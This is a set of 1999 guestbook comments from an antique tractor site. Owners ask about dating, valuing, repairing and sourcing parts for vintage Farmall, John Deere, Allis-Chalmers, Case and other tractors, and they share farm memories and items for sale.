David Barnard wrote on Sunday, October 10, 1999 (PDT):My dads boss has on of these 830 and the moters lock up and it has been setting since 92 and I want it so bad it can pull a 21 foot disc on 125 acers a day
Chuck Nordstrom wrote on Saturday, October 09, 1999 (PDT):Of course, all of you are correct about the later vintage of this Z MM. I have many hard hours riding that seat on a 1949 Z -- but, in its day, this was one of the easiest tractors to mount and dismount. But, you had to watch out for that PTO as my father and brother both learned to their very painful reqrets.
david buchholz wrote on Thursday, October 07, 1999 (PDT):i have a tractor that i know is a f-12,but that is all i know about it. the paper work all points to 1933. this tractor has steel wheels single in the front. i just got this tractor and would like to restore it if it is worth doing. i've never done a tractor before and would like to research it first. i could use any information i could get on this. thank you
Rev. Lyle M. Miller, Sr. wrote on Thursday, October 07, 1999 (PDT):I am looking at a Farmall Cub with a hydraulic lift. There is a bracket that bolts onto the back of the tractor that is used with a long rod about 5 feet long that connects to the lift bar on the side of the tractor. I don't know what these two pieces are called, but they are missing and I would like to know about how much they might cost to replace either new or used. Also, a second question has to do with replacing brake parts on the cub. How difficult is it? From what I can see, it doesn't look as if it would be too hard, but then I have never tried to do anything like this on a tractor before. There is always a first time.....thank you any and all for any information.
ZANE wrote on Wednesday, October 06, 1999 (PDT):I have invented an attachment that I call the ZANE THANG to convert the lift so that it has position control which none of the tractors with the Ferguson system originally has. It bolts on in minutes and you do not have to alter any part of the original lift or tractor.If you would like information about the particulars on this much needed device just send me an Email at wzsherman at aol.com
Ken Campbell wrote on Wednesday, October 06, 1999 (PDT):I recently purchased a Farmall A, and would be interested in seeing some pictures of others. Mine has been painted and has all new decals. I'm enjoying owning it. I've always been interested in tractors.
George Magloczki wrote on Wednesday, October 06, 1999 (PDT):I have a Farmall-Cub tractor Serial No. 139658. can anybody tell what year is it. Thank you.
Mark Rowe wrote on Wednesday, October 06, 1999 (PDT):Being a son of a cornish farmer i have dealt and driven tractors all my life. I have pictures, vidoes,newspaper cuttings. Of course the `john deere` is my favourite. Please please feel free to email me pictures of addresses of fellow tractor lovers. Thanks so much. MR
scott hart wrote on Tuesday, October 05, 1999 (PDT):i can see from the photo that this tractor is a rare one. i haven't seen too many B's with a single front wheel. the frame style suggests that this tractor was produced later than 1935. i would say around 43 to 49. if i am wrong feel free to correct me. thanks
R Harmon wrote on Sunday, October 03, 1999 (PDT):I am interested in the condition, asking price, and location of this tractor.
thomas fagen wrote on Sunday, October 03, 1999 (PDT):10's are cool, but lets face it. The 1206 will rule forever
Al Deemer wrote on Sunday, October 03, 1999 (PDT):October 3, 1999 Needed; Starter for 1938 IXB Hercules engine for 1936-38 tractor. Al
Dennis Koeman wrote on Sunday, October 03, 1999 (PDT):We farmer with Cocksutt 40 gas and 50 gas. We milked 50 head cattle. They were very smoth runing tractors.
EDD HADRYCH wrote on Sunday, October 03, 1999 (PDT):In 1939 my dad bought a ~1937 Farmall F-12. I worked that tractor from 1940 till around 1948. It was incredibly rugged I'm currently attempting to create an illustration of it.
tommy wrote on Friday, October 01, 1999 (PDT):does anyone know what the hp is for the wd45?
James Borders wrote on Friday, October 01, 1999 (PDT):I own several H John Deere tractors and am finishing another one . I too am enjoying restoring them to good condition.
James Borders wrote on Friday, October 01, 1999 (PDT):I own several H John Deere tractors and am finishing another one . I too am enjoying restoring them to good condition.
Kenny wrote on Thursday, September 30, 1999 (PDT):Hello,I am 13,my grandpa gave me a case sc before he died,it is my most valued possesion,it doesn't run,last year,I tried to start it,but it turned over very slowly,I am wonderin' if anyone can help me,i don't know what is wrong w/ it,i hpe that someone can help me,a young tractor finatic in sorrow,and distress! HELP ME!!!
Roger wrote on Thursday, September 30, 1999 (PDT):I just aquired an engine with clutch housing used on a saw mill would like to find a tractor with bad engine or value of this 6A
Judy McKellips wrote on Wednesday, September 29, 1999 (PDT):We have what I believe to be a Super 55. It was supposed to run when we acquired it in a trade except for a bad starter. My husband never had time to work with it so we don't know for sure. It's in rough but restorable condition. Can any one give me a rough idea of value on it? We are going to be moving soon and can't keep it. Any help is appreciated.
Darald Marin wrote on Tuesday, September 28, 1999 (PDT):I grew up on a Super MD. The tractor came home in August 1952 and is still on the same farm. My brother owns it now. It was restored about 10 years ago by my dad and I. The SMD was burning oil when new, so the IH service man took the tractor for a drive, when he returned he told my dad that the rings should seat now; only after several years did the dealer tell him that the service man gave it the "bon-ami" treatment, a teaspoon of bon-ami for each cylinder into the intake at high idle. That set of sleeves and pistons did 10000hours. The tractor now has 18000 plus hours and has not done any real work for over twenty years. When it did work, it farmed 640 acres and hayed for 125 cows, all in southern Saskatchewan. I was 10 years old when it was new so I made many of those 18000 hours. I now have a few of the old IH 4 cylinder diesels and enjoy running them. They are an engine unlike any other, the sound when they start on gas and then the smell when they switch to diesel is IH's own.
MIKE wrote on Tuesday, September 28, 1999 (PDT):I recently purchased a WD45 gas. Someone before me installed an alternator and it is not charging. The guy that we bought it from figures it is hooked up the wrong way. I was wondering if anyone can help me with my problem to fix it. Thanks Mike.
Danny wrote on Tuesday, September 28, 1999 (PDT):I am looking for two rear fenders and one rim for the back wheel of a 1957 WD45, If you know where these items are available to me please e-mail me. Thanks!
Mr Gadget wrote on Monday, September 27, 1999 (PDT):Just purchased a 350 Utility, with front-end loader (front drive pump), all tin is there, pretty straight, too. It has a standard "quick-tach" (or whachacallit) with an optional setup to convert to 3-point. Found it in the weeds behind a guy's quonset. Hadn't been run for a couple years. Drained the old gas, added fresh, check the fluids, pull started it. It ran a few seconds and quit. Couldn't get it goin' again, but bought it anyway. Is $1200 too much?
Mike Shutt wrote on Sunday, September 26, 1999 (PDT):I just purchased a Farmall A s/n 17588, looks just like hicrop pictured, but no generator. It is Magnito ignition and overhead valve. It has all under side cultivator stuff and PTO on back. Can engine be re-sleaved? No. 2 is cracked, otherwise seams to be all there. Engine No. is 6342 DD with a 2 under the number. What does this tell me?
Lynette wrote on Sunday, September 26, 1999 (PDT):I am restoring my fathers B International tractor. He bought the tractor and a 2 bottom international plow (on steel wheels) in 1942. The plow looks like it has some blue paint on the shanks. My mother thinks that was original. Does anyone know the paint combination of that vintage plow. I's appreciate any information.
Chad Lambert wrote on Sunday, September 26, 1999 (PDT):My neigbor and I have been resotring an old Massey Harris 44. The serial number has 44v on it, which makes me think that it is a rare vinyard tractor. Can anyone tell me how I can tell definently tell what it is? And whether or not it is a 44 vinyard.
Ed Reynolds wrote on Sunday, September 26, 1999 (PDT):My dad bought new a tractor which said AO on the side. It had the side exhaust and the air cleaner didn't have a stack but the sheet metal was all AR so was this an intentional hybrid? It was a 1952. In 1953 they looked the same but were designated 60 O.
Dan Duwell wrote on Thursday, September 23, 1999 (PDT):We have owned an Oliver 66 since 1955. It is a 1952 model. What is the earliest they were made? Our tractor is still in running condition. We are looking for side skirts and would like information about them.
RONALD MITCHELL wrote on Thursday, September 23, 1999 (PDT):I have an Avery for sale.I think it is an A model.Have serial #.IT DOES RUN,needs some carb. work Can be contacted at 9016449009
PIGLET534 wrote on Thursday, September 23, 1999 (PDT):My friend next door wants to know if you have any pictures on a ford tractor 800.He has one and needs parts on it so if yu can please email me and tell me where I could find some supplies.
C M Sullivan wrote on Thursday, September 23, 1999 (PDT): Oliver 550 Ser# 66153-519 Can anyone tell me the year this tractor was manufactured?
Danny Lang wrote on Wednesday, September 22, 1999 (PDT):This looks like a pretty good 1066. I own one and my boss has one too. I operate these tractors everyday. Many farmers around my area have 10's.
Paul Campbell wrote on Tuesday, September 21, 1999 (PDT):Does anyone have a base wet weight figure for a cub? I have a 1950 that I have to haul across state and want to make sure that my utility trailer will handle it. By the way, for the farmer with the Serial Number#12,000, your Cub was built in early 1948.
Jeff Formo wrote on Monday, September 20, 1999 (PDT):I have a Farmall A, And I havn't found any kind of manufacturers tag on it. How do I find out what year it is?
brian wrote on Monday, September 20, 1999 (PDT):Does anyone have any background history on this model? Is there any information on size of motor, current market value, and perhaps any idea if any are still around? I have recently inherited one of these models from my grandfather and it still works! Does anyone else still have one? Much appreciated! Brian
Jim Mikowski wrote on Monday, September 20, 1999 (PDT):I looking to buy a farmall cub with belly mower and other attachments. Must be in good running condition.
Mike Blenkin wrote on Sunday, September 19, 1999 (PDT): I know someone who own's a 1960 or 1962 Massey Ferguson '98 tractor in fair condition. How much is it worth?
Steve Conreaux wrote on Saturday, September 18, 1999 (PDT):I bought my VAC off it's original owner 3 years ago to mow 12 acres of grass. I had a good laugh when looking through the owners manual, finding the original "Customer's Machinery and Implement Order" form only to find out that I purchased it for $300 more than it sold for new! It's been a great runner and will pull a 7 1/2' finish mower. I am currently gathering the parts to convert it over to a 12 volt system.
Lowell Alward wrote on Saturday, September 18, 1999 (PDT):I have a restored 1950 E-4 Co-OP.It is the same tractor as 40 but was painted orange & sold by Farmers CO-Op.
Bev Stewart wrote on Friday, September 17, 1999 (PDT):We are looking for any information you can give us on what we think is a 1948 Allis Chalmers WD tractor. We have found some information on the website on other models but there doesn"t seem to be much on this particular year. Appreciate anything yous can come up with.
John Chrzan wrote on Friday, September 17, 1999 (PDT):How can you find the value of a WD45? We recently acquired one. Physical condition is good but I am afraid mechanical condition is not. It came with 3bottom plow and sickle mower. Thanks for the help.
Mark Byrd wrote on Friday, September 17, 1999 (PDT):I have a 1953 JD 60 that I recently restored. I also have a problem with the PTO shaft not wanting to engage. Please contact me if you have any answers.
Ron Heuss wrote on Friday, September 17, 1999 (PDT):I believe there is one of these in Temple, Texas on the showgrounds of the Texas Early Day Tractor and Engine Association. It belongs to Frank Turner of Temple
Ron Heuss wrote on Friday, September 17, 1999 (PDT):I have just finished restoring a 1972 Lo-Boy with a five foot mower. Great little tractor. There are not too many in the Central Texas area. It may be for sale if anyone is interested.
Ron wrote on Friday, September 17, 1999 (PDT):The "things" over the wheels are fenders that protect low-hanging tree limbs and fruit from being broken or rubbed-off while the tractor works in the orchard. This and its predecessor, the AO, were the favorites on my family's New York and Michigan orchards. Excellent for pulling spray rigs, disc harrows and other implements up and down orchard hillsides. Today's Deeres have more convenience features and are easier to operate, but none have the character and "feel" of this old standby.
Ed H. wrote on Thursday, September 16, 1999 (PDT):I have a tractor that is a B model. Even the part nos match others like it. The place where the serial no usually is, in front of the seat, is blank. It has a tag on the fender that identifies it as an International tractor with ser. no. FAA251617. Also the seat is the steel molded type not the cushion type. Any help is appreciated.
Chris Bullard wrote on Wednesday, September 15, 1999 (PDT):I would like to know what year model my tractor is? Numbers on right side of tractor 851686-R2 L2X On left side 7*25*0 360719-R1
J.D. wrote on Monday, September 13, 1999 (PDT):Great tractor except for the absence of 5th gear, independent P.T.O. , and a true 3-point hitch. The power is exceptional for size of the tractor.
Randy wrote on Monday, September 13, 1999 (PDT):I have a fare amount of knowladge on WD'S and parts
randy wrote on Monday, September 13, 1999 (PDT):I have quite abit of knowledge on ac-b
Dave Snyder wrote on Sunday, September 12, 1999 (PDT):I have a 1953 Super M with an M and W clutch attachment. I have replaced the clutch disc but I am still getting slippage in the clutch. Anyone that has any information on M and W clutches, please e-mail me. Thanks.
JAY ROACH wrote on Sunday, September 12, 1999 (PDT):I am having problems with my mid 1940 WC Allis Chalmer. I cant seem to time the rotor button with the mag ( little gear /big gear inside). I use it regularly for work around my business. Recently the points went bad and I replaced the points, but unfortunately it is not timed correctly. If anyone can help me with this problem i would appreciate it. Thanks
Jim wrote on Sunday, September 12, 1999 (PDT):I recently aquired a International Haverster tractor,and I am trying to find out the year of it. The only information i have on it is the letter KC4951 on the plate. Any information on it would be greatly appreciated . Jim and Patricia
James Monday wrote on Sunday, September 12, 1999 (PDT):Do you have any information on the Oliver 70 Orchard/industrial, such as a owner's manual, service parts book? If so, please e-mail me back.
Robert Ellefson wrote on Friday, September 10, 1999 (PDT):I grew up on a dairy farm in northern Wisconsin (Ridgeland) and used Cockshutt tractors in the 50's and 60's. We had a COOP E-3 narrow front which when locally repainted was converted to the Cockshutt 30 colors and decals. We also bought a 1954 Cockshutt 30 with an adjustable wide front for row crop work. The standard wide front in your picture was too low to the ground to cultivate corn or beans but was good to stabilize the front end. The best feature of the tractor was the live power takeoff. It was the tractor of choice locally for running anything with a power takeoff. The tractor also had a good balance of power to weight so it's traction was remarkable. In the hills of Wisconsin the wide fron was necessary. My Father tipped over the narrow front in a sidehill with a front end loader raised. No doubt having the loader raised caused the tipping but it also made a "roll bar" which protected him; he escaped with minor bruises. WE sold the narrow front within a month. Cockshutt also made some follow on tractors; The 540 low boy; The 550 Standard (50 HP)which we had for many years in the 60's and the 560 diesel (60 HP) and there was a 570 Diesel for larger farms. These tractors were all cream colored with white logo panels. Their style was used by Oliver for their 1650, 1750 and 1850 models which weree of course green. There seems to be a lot of collectors of the 30's and 40 Cockshutts. The 550, 560, and 570 were similar workhorses that had many advanced features which John Deere and others eventually copied. I guess the Cockshutt is the SAAB of the tractor world. As a proud owner of many SAABs with their quirky but advanced engineering features, I appreciate in retrospect the advantages of Cockshutt tractors in their heyday.
Marc Studer wrote on Friday, September 10, 1999 (PDT):I have an opportunity to bid on an F-14 at a local auction. The tractor is listed as good for parts, but everthing is there on the tractor. The engine is seized up. How much is too much to bid on it. I have been checking around, but am still looking for advice.
Roy Hawes wrote on Friday, September 10, 1999 (PDT):I want to put a standard catagory 1 3 point hitch on my 1950 MT. Does aybody know of a 3rd party manufacture who make a conversion kit, or has plans for what parts to buy and set it up correctly?
Ryan McDaid wrote on Thursday, September 09, 1999 (PDT):I need information on Cub implements. I have a plow, sickle bar mower, and cultivators. I do not know how to mount them on the tractor. If anyone has or knows where I can find a diagram or instuctions on how to do this, let me know it would be greatly appreciated.
Ron Whitney wrote on Wednesday, September 08, 1999 (PDT):I have a Case LA i believe it is a 1944 model. On the side of the block it has the numbers c4862A. Is 1944 the correct year? or do I need a different set of numbers? Also I need a radiator resavour tank that bolts directly benesth the radiator. Does anyone know where I can get one or knows of a good salvage for LA parts? Please help. Also I may be interested in buying a parts tractor if you have any info. on one. Thanks for the help!! Ron
Rob Wightman wrote on Wednesday, September 08, 1999 (PDT):I recently got married and left the church with my wife in the back of a Fordson Major Diesel and that had orange wheels!
lahey wrote on Tuesday, September 07, 1999 (PDT):I am looking for a running international 15-30 tractor. My grandfather had one, like to fix one up and drive it back to the family farm.
ray wrote on Tuesday, September 07, 1999 (PDT):to everyone looking for JD-H parts contact D.B.A. Lindstrom's J D model H parts e-mail address is KIRT at ponyexpress.net. Between my dad and myself we also own 6 JOHN DEERE model H's good luck looking for parts and your tractors
Thomas G Witt wrote on Tuesday, September 07, 1999 (PDT):Last year while cleaning at my brothers cabin on the Missippi river I discovered the steering wheel of a tractor sticking out of the ground. With the aid of my neighbors we were able to get it out, and at present we are taking it apart so that we can transport it back to the mainland. It has Avery tru-draft stamped on the rear end, but it has been retrofitted with a "Oliver/4 cylinder Continental engine. I researched the engine, and it appears that Continental did make engines for Oliver Corporation for a short period of time. This tractor also has two front wheels as opposed to one, and it is a wide fron end. I would appreciate it if you could assist me in trying to find out the model of this machine. it is our intention to restore it. We woul be happy to forward photos as soon as we get itoff the island. I would need an address to send the photos, and also would like a phone number that I might speak to someone who knows something about Avery tractors. My grandfather had an Avery years ago but that was before I was born. My uncle has always been a Oliver/White person, and we have found a motor shop that assures me that they can do the work. We do have thmodel and serial numbers, but I do not have them with me at this time.
Jos LANG wrote on Tuesday, September 07, 1999 (PDT):I have a Titan from 1917, exactly the same as shown on the picture. It is running very well. I want to repaint it and for this reason I am looking to find the paint codes. I am also interested about a parts manual or any documentation existing.
Joel shackelford wrote on Monday, September 06, 1999 (PDT):I would like to trade a 1951 M-38 military jeep for an 8N tractor. If interested call joey at (870)856-3330 or e-mail me at the above address. Thanks, Joey
Keith wrote on Sunday, September 05, 1999 (PDT):I own a Case model SC. I have had it for years. It is a good lawn ornament now. It developed cracks in the cylinder liners, and when I disassembled the engine more and more problems presented themselves, and to make a long story short the engine is a lost cause. Too bad, the tractor would "climb a telephone pole, and walk across the high line."
Robert Hosek wrote on Sunday, September 05, 1999 (PDT):My uncle just brought me 2 Ferguson TO-20's to restore they are both in need of alot of repair . If anyone has a shop or owners manual for these tractors please e-mail me. The oldest tractor has a serial number of 423. I want to resore this one to near perfect condition. Thanks for any help.
matt moore wrote on Sunday, September 05, 1999 (PDT):I have a D-14 allis chalmer and i live in ohio, i was wondering what type of oils do i use for this tractor, if someone can please let me know, thank you.
Miguel J. Atucha wrote on Saturday, September 04, 1999 (PDT):Sirs; I would like to know which is the type and number of the front tires in the tractor pictured here. I am using 19 X 400 in my tractors and would like to purchase wider front tires if available.I'll apreciate your help, Sincerely M.J.Atucha
Miguel J. Atucha wrote on Saturday, September 04, 1999 (PDT):Sirs, I owne two 8N tractors, would like to know more about Funks convertion to six and eight cylinder,which is the resulting power obtained on each convertion. Would like more information on, many thanks, sincerely Miguel J.Atucha
C. E. Fischer wrote on Saturday, September 04, 1999 (PDT):47 Super A not running-vacuum lift plow&cultivators, engine is free.been outside forever. I am new to tractor, is it worth $500.00? any input vvwould be helpful.
Tony wrote on Saturday, September 04, 1999 (PDT):I am looking for a gas tank for a 1959 John Deere utility tractor. Can anyone help?
Dale Dumont and Bill the tractor fan wrote on Friday, September 03, 1999 (PDT):My stepfather would like to know how many of these beasts are in captivity. I myself know nothing about these such beasts, but Bill has restored a 1944 AR John Deer and lives in a small town in Saskatchewan. He is visiting me and I'm showing him the internet. Is there any crawlers like this close to Calgary Alberta Canada. Please email me and let me know so I can inform him. He has found the internet facinating. The things you can find about tractors is amazing.
Cliff Johnson wrote on Friday, September 03, 1999 (PDT):Have 420 crawler for sale. Sheet metal is in fair to good shape, this dozer has a full canopy for woods work and is equipped with 4 way blade with up and down hydraulic pressure. Runs and works good. Most parts in the undercarriage are 85 to 90%, front idler wheels were worn and have been built back up. Engine is very strong, doesn't smoke or burn oil and starts right up.
Paul wrote on Thursday, September 02, 1999 (PDT):I had a 770 industrial tractor/loader/cab. It was a very heavy duty outfit. I still have the Oliver model 778 loader.
Lou wrote on Tuesday, August 31, 1999 (PDT):does anyone know where to find a piston for a model G tractor
Randy/Lil'Putz wrote on Tuesday, August 31, 1999 (PDT):My father inlaw just sold his 97, for $1500.oo Can., it had a cad and a front snow blade! It was a very cumbersome tractor to turn with that live front axle!
Randy Swain/Lil'Putz wrote on Tuesday, August 31, 1999 (PDT):What a sweetheart this tractor is,I just love these machines,perhaps that's why I own two of them,up here at mile marker 15 on the Alaska highway!
Dave wrote on Monday, August 30, 1999 (PDT):looking for proper paint color for 1948 massy harris pony tractor and wheels
Dennis Lindsey wrote on Monday, August 30, 1999 (PDT):My neighbor has a Super 55 gas and we are trying to figure out the paint scheme. All four wheels on this tractor are green. Most wheels on the Super 55's seem to be red. Did the paint scheme change depending on the model year? Anybody know? The griil is yellow, but it doesn't seem to have ever had the red striping down the middle with the oliver nameon itHelp/
Art Parry wrote on Sunday, August 29, 1999 (PDT):I purchased a G706 Diesel several years ago and it is the most reliable starting tractor I have. I have used it to pull my plow disc and smoothing disc as well as run a blower and silage bagger. Although it does not have a live pto or 3 point hitch and has a hand clutch instead of a foot clutch, this does not really matter when doing tilling work, which is what this tractor is best at. The engine is incredibly reliable and even at idle will pull enormous loads if they have to be moved slowly. The tractor has five speeds forward and one reverse, it has no ampli-torc. Mine is equipped with 18.4-34 rear tires and 11.2-24 front tires. The coleman type front axle does not allow for very tight turns but is mechanically quite sound.
D. Orlando wrote on Saturday, August 28, 1999 (PDT):Been looking at an A , rebuilt and painted nice, good rubber,looks good, runs fair. guy wants $1800. Sounds a little high, not sure, any input as to normal price? I would appreciate some input as I'm new to the tractor fun!
Ken Cutler wrote on Wednesday, August 25, 1999 (PDT):For magneto parts and info contact Bill Lopoulos at 9786497879 0r Email at blopoulos at aol.com I have just purchased a 1939 AC-B and have acomplete set of steel wheels is anybody interested in them ?
Tom Martin wrote on Wednesday, August 25, 1999 (PDT):I recently purchased a 1960 gas M5,and was wondering if anyone can tell me about any quirks or weaknesses this tractor may have. What is it's horsepower? thanks for any help.
Don goes wrote on Tuesday, August 24, 1999 (PDT):The transmission or rearend on my tractor wines. Is that normal or is there somthing i can do about it. What kind of oil goes into it? Oliver 770
tim spitler wrote on Monday, August 23, 1999 (PDT):i am looking for a belly mower at a real good price,for my cub tractor(1948)or a sickle mower in north carolina....and may be a blade,,,
Milan Davig wrote on Monday, August 23, 1999 (PDT):My son recently acquired the 1941 SC Case that my Father originally purchased. It is in rough shape having sat in the weeds for 30+ years. Is there some place on the internet where we can get specific information re;SC Case tractors? For instance - what is the weight? where can a person get parts (mag/generator/etc.) fairly reasonably? The clutch is stuck but the hand lever is in the disengaged position. Will we have to split the tractor? Any information will be appreciated. Thanks!!
Phillip Shapton wrote on Monday, August 23, 1999 (PDT):I am the owner of a 1957 AC WD-45 wide end.We have hade it for 20 years and last year we hade it restored.It's the most wonderful tractor Allis chalmers made.
Chris Short wrote on Sunday, August 22, 1999 (PDT):I have a 1954 TEF 20, four-cylinder diesel, well-used but in basically good order. Unfortunately the hydraulics exhibit some unpleasant characteristics. It is impossible to find a 'neutral' position, the arms either go up or down. With the tractor not running, the arms creep back down, the speed with which this occurs depends on the weight of the implement and the position of the lever. I would like to fit a front end loader but most information suggests the internal pump is not really strong enough and there is also the fact that the tractor doesn't have live hydraulics, ie, dip the clutch and it all stops. I have seen some material about an external hydraulic pump, driven directly from the crank at the front of the tractor. I would appreciate any information about such a project. It is also worth mentioning that I am in Australia, so there is not quite the abundance of parts and information that many of you enjoy in the States or UK. Thanks to anyone who has the time to respond.
Norm Fast wrote on Saturday, August 21, 1999 (PDT):I have owned my 1941 "B" (hand start) for about 8 years and love it! I added a 3 point hitch adaptor to it and use it primarily for a blade and a rotary cutter. It is a sweet tractor and easy to operate. Here in Colorado it is great for snow plowing because of the weight concentration on the rear tires and great differential braking capability. I'm thinking of obtaining some tire chains to make the tractor even more effective in snow.
Norm Fast wrote on Saturday, August 21, 1999 (PDT):I have recently restored my grandpa's 1939 F20 Farmall and I'm very proud of the results. I'm sure that grandpa would have been proud too. I plan to enter it into some tractor pulls to see what it can do.
Max Madsen wrote on Saturday, August 21, 1999 (PDT):in denmark the old major is very popular at the tractorpulls. Often with a retrofitted 6cyl. ford engine from a truck or a clayson-combine. My brother and i has been driven a 4cyl. major with a turbocharger from a small off.roader(picup) and now we have bought another one with a 6cyl. engine, but we cant identifi the engine more that its a ford. We need to know the size, how much oil, the fuel injectors setting and the pump, and valve settings before we can use it and tune it up. Does anybody know where we can find some information. Do you know american trucks fitted with an about 100hp diesel engine from the mid-60ès?? if you have any ideas we will be very glad to hear from you!!!! we also have an IH farmal H and another Gas-driven fordson.
Tim Newton wrote on Friday, August 20, 1999 (PDT):Just looked at a 1948 Oliver 60 RC in fair-poor condition. If anyone could advise me as to the approximate value range of this machine it would be deeply appreciated. Thanks, Tim.
Dean Waldfogel wrote on Thursday, August 19, 1999 (PDT):I agree with Ernie and Frank. The Z's my dad owned in the fifties, looked similar, but the seat was a swivel located further back, and the steering wheel was a straight line to the front along the left side of the engine compartment. I'd love to purchase a model replica of a Z. Any one have one for sale?
David Dougherty wrote on Thursday, August 19, 1999 (PDT):Looking for a detroit powered massey 98. Any condition considered. All info onthis tractor would be very helpful
dale wrote on Wednesday, August 18, 1999 (PDT):looking for any info on aliss chalmers dozer H-3 especialy cost of final drives + bushings +rollers any info will be appreaciated thanks firebird
Charles wrote on Wednesday, August 18, 1999 (PDT):Which sparkplug is actually #1 where is # 1 on magneto ( is there a mark? )
Tony Mcclelland wrote on Wednesday, August 18, 1999 (PDT):I have a farmall super A which has all it!s casting codes with a T in them I think this translates to 1951 the little tractor is gem and a joy to own. Am I correct in the dating? Thank you.
J. Hoffman wrote on Tuesday, August 17, 1999 (PDT):Have a 1953 Cub for sale in Central Pa. with sycl bar mower, plow, snow blade, cultivator. Original owner's manuals. Good running condition. $3,000 takes all plus enough parts from another Cub to replace almost anything that might eventually need repaired.
Eric Tessmer wrote on Tuesday, August 17, 1999 (PDT):The M is the pinnacle of tractor evolution. It gets no simpler.
Daris Mounce wrote on Monday, August 16, 1999 (PDT):I think this tractor is a TO-30 but I'm not sure the serial number is TO-74893 The tag says Harry Ferguson on it. I'd love to find out the year, model, and original colors so I can paint it back original. Thanks, Daris
joe wrote on Sunday, August 15, 1999 (PDT):i have a case va tractor which im going to sell.....can anyone tell me what is the horse power of this tractor thanks joe
Terry wrote on Saturday, August 14, 1999 (PDT):I would like to see more pic's of these type of tractors. I just bought a W-6 and I am trying to find out more about this tractor. These W models are very beautiful tractors. I hope I see more in the future thanks
Tom Upton wrote on Friday, August 13, 1999 (PDT):Nice tractor! looks like a early 1960 checkerboard A model. I have a later tractor 1963 with the hydra power drive. I have taken home quite a few trophys from the tractor pulls with it. A lot of people think its souped up because of the noise the 2 cycle engine makes,but it is stock. I would like to buy a super 99 G M as well if anyone has one for sale ?
Kerry Don Wood wrote on Friday, August 13, 1999 (PDT):My Grandpa gave me I think its a 1949 model WD gasoline. I would like to now the cheapest and easiest way to restore to its original state.
M. Denny wrote on Friday, August 13, 1999 (PDT):So far we love our 1958 IH 350 Utility Tractor w/loader & back hoe. I have tried to find info on the back hoe but not much luck so far and luckily we haven't needed any parts yet. The engine runs great. It seems that there just isn't much info out there on this paticular model especially Gas.
Daniel King wrote on Thursday, August 12, 1999 (PDT): Does any body heve any good addresses on the 8N tractors and parts. And how the set up is for a snow plow.
Rick wrote on Thursday, August 12, 1999 (PDT): I purchased a 300 utility about 2 weeks ago for 200 bucks. The 169ci engine had a stuck exhaust valve. After pulling the head repairing the valve problem and replacing a push rod I am grinning from ear to ear. Installed a flapper on the exhaust to keep the rain out of the engine which was the cause for the valve problem. The coffee can aperiently had not been on the exhaust the whole time it had rested. Now all I need is the LINK on the left hand side of the 3 point hitch that attaches the lift arm to torsion bar. Seems that this link must have been broken at some time in its life and has a make shift affair in place of it. Any help locating this piece or what this piece is called due to the fact that I know nothing about tractors would be greatly appreciated. THANX
Joe wrote on Wednesday, August 11, 1999 (PDT):I have a '39(s/n 567) H. They tell me it is a super H. How can I tell? Where was the battery originally? What were hydraulics used for on this with no 3pt. hitch? I don't know anything about this tractor. It is from it's original home and barn fresh. Tires have very little wear. I could'nt say no. Thank you. Joe
JayD wrote on Tuesday, August 10, 1999 (PDT):I am planning on restoring my Cockshutt 1850 with Hydraulic Powered Front Wheel Drive in the future and I would like to know some Information about my tractor since it was produced under Oliver during the 60's. Model Number; 185 - 8270 Serial Number; 163 - 716 - 478
Mark Murphy wrote on Tuesday, August 10, 1999 (PDT):I am looking for information maybe shop drawings for an "over and under"drive on an 8N tractor any help would be appreciated.
John Bowers wrote on Monday, August 09, 1999 (PDT):I'm trying to find the serial number on a Ford 2000 tractor I acquired a month ago. My ITS manual says it's located at the top front left of the transmission housing, but I can't spot it. The steering assembly, battery box, etc. are removed, but I still have no luck. Help !!!
Bob wrote on Sunday, August 08, 1999 (PDT):It appears that this would be a fairly easy conversion to make (from the pictures anyway) The track is near identical to the tracks they use on "Bombadeer" snow rigs. People use them too convert vans to snow machines to haul fishermen on Lake of the woods, Minnesota. They are made from flat conveyor belt and "cleats". add a front axle and some matching rims and you have a good replica.
Ed Reynolds wrote on Saturday, August 07, 1999 (PDT):We have 3 "G" tractors, 2 48s and a 49 at the Colorado State University Experiment Station at Fort Collins. We would like to find a newer tractor with the same features and a little more HP. John Blue Co. made one shortly after AC quit production on the "G" but only produced about a hundred and they are extremely rare. They called it the "Super G 1000". It used a Ford engine about the size of the NAA tractor engine. I am interested in finding out about any that are available.
jeff scogin wrote on Saturday, August 07, 1999 (PDT):i am looking for an 8N in fair to excelent condition and under 2000$ w/ some attachments
Eric Gage wrote on Saturday, August 07, 1999 (PDT):Just bought a WD-45. Two minor mishaps so far, but it is so easy to work on. I'm pulling a JD#5 sickle mower (7') with a two-point hitch. I had to fit an adapter to the AC drawbar. Any way to tell the age of the sickle? It works great.
Tim wrote on Saturday, August 07, 1999 (PDT):I'm in the process of restoring a 300 Utility basket case. No problem finding parts, but no one seems to be able to tell me what years these tractors were made, or how many. Anyone out there know?
Joe Axberg wrote on Friday, August 06, 1999 (PDT):What is this tractor worth? Is the front wheel assist rare? This is the coolest looking tractor ever!
Gary Baker wrote on Friday, August 06, 1999 (PDT):Forgot to put in my e-mail address on my last comments on July 16. Still looking for a place to get the parts needed.
Mike Johnson wrote on Thursday, August 05, 1999 (PDT):I have two Allis chalmbers Model WC tractors, Serial No. WC173724, and WC 114402. Could anyone tell me when they were produced, and any information as to history, value, etc. Mike Johnson
Mike Johnson wrote on Thursday, August 05, 1999 (PDT):I have a Ford 9N, Serial No. 11xxx, rear axels have not been converted. It has the cast iron trailing arms on the steering. Does this tractor have any special value to collectors? It is in good condition. What would it be worth? Mike Johnson
Stephen Boutillette wrote on Thursday, August 05, 1999 (PDT):the VA series debuted after the war....the V series was produce with a Cont. F-124 engine the VA had a Case with similar displacement. the VA series also had many "conviences" such as electric start as a standard feature although it was popluar on the V.... The VA series was produced starting c 1946-7 (if memory serves) and went on for some years...FYI only two Case series up til the '50's were produced with other than Case engines V and the R's I believe.
Craig wrote on Tuesday, August 03, 1999 (PDT):I have a 52 Case LA lp I am restoring now. I also have a 48 gas and a couple of parts tractors. L's and LA's are my favorite of the Cases we have used on the farm.
Steve Lewis wrote on Tuesday, August 03, 1999 (PDT):I acquired a TO-20 about four years ago, and have done a great deal of restoration. It has been sitting in my garage for the past year or so as I picked up a John Deere to use daily. So, I don't know at this point if I will continue to restore or sell the tractor as is.
Will Richardson wrote on Monday, August 02, 1999 (PDT):I have a 1952 Cub with original manual.Also have plow and sickle mower,disc,cultivators and 2 woodsaw attachment`s only one has a pulley,would consider selling the one with- out the pulley.Also could help Joe Wright & Phil Marcotte with their wiring diagram if still needed.
